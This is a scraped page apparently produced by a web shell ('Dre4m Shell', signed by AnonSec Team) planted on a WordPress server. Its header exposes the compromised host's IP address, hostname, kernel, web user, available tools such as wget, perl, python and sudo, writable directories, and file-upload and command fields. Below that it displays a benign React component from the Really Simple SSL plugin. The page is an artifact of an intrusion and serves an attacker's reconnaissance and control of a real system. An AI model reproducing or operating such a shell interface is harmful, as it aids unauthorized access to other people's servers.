Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.9
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/really-simple-ssl/settings/src/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/plugins/really-simple-ssl/settings/src/Settings/SelectControl.js
import DOMPurify from "dompurify";
import {useEffect, useRef} from '@wordpress/element';
import hoverTooltip from '../utils/hoverTooltip';

const SelectControl = (props) => {

    const selectRef = useRef(null);

    const disabledPropIsArray = Array.isArray(props.disabled);
    let disabledOptionsArray = (disabledPropIsArray ? props.disabled : false);
    let disabledSelectPropBoolean = (disabledPropIsArray === false && props.disabled);
    let disabledSelectViaFieldConfig = (props.field.disabled === true);

    let selectDisabled = (
        disabledSelectViaFieldConfig
        || disabledSelectPropBoolean
    );

    let tooltipText = '';
    let emptyValues = [undefined, null, ''];

    if (selectDisabled
        && props.field.hasOwnProperty('disabledTooltipHoverText')
        && !emptyValues.includes(props.field.disabledTooltipHoverText)
    ) {
        tooltipText = props.field.disabledTooltipHoverText;
    }

    hoverTooltip(
        selectRef,
        (selectDisabled && (tooltipText !== '')),
        tooltipText
    );

    // Add effect to disable the select element when the selectDisabled state changes
    useEffect(() => {
        if (selectRef.current) {
            selectRef.current.disabled = selectDisabled;
        }
    }, [disabledSelectViaFieldConfig, selectDisabled]);

    return (
        <>
            <div className="components-base-control">
                <div className="components-base-control__field">
                    <div data-wp-component="HStack" className="components-flex components-select-control">
                        <label htmlFor={props.field.id} className="components-toggle-control__label"
                               style={props.style && props.style.label ? props.style.label : undefined}>{props.label}</label>
                        <select
                            ref={selectRef}
                            disabled={selectDisabled}
                            value={props.value}
                            onChange={(e) => props.onChangeHandler(e.target.value)}
                            style={props.style && props.style.select ? props.style.select : undefined}
                        >
                            {props.options.map((option, i) => (
                                <option
                                    key={'option-' + i}
                                    value={option.value}
                                    disabled={disabledOptionsArray && disabledOptionsArray.includes(option.value)}
                                >
                                    {option.label}
                                </option>
                            ))}
                        </select>
                    </div>
                </div>
            </div>
            {props.field.comment && (
                <div className="rsssl-comment" dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(props.field.comment) }} ></div>
                /* nosemgrep: react-dangerouslysetinnerhtml */
            )}
        </>
    );
}

export default SelectControl;

Anon7 - 2022
AnonSec Team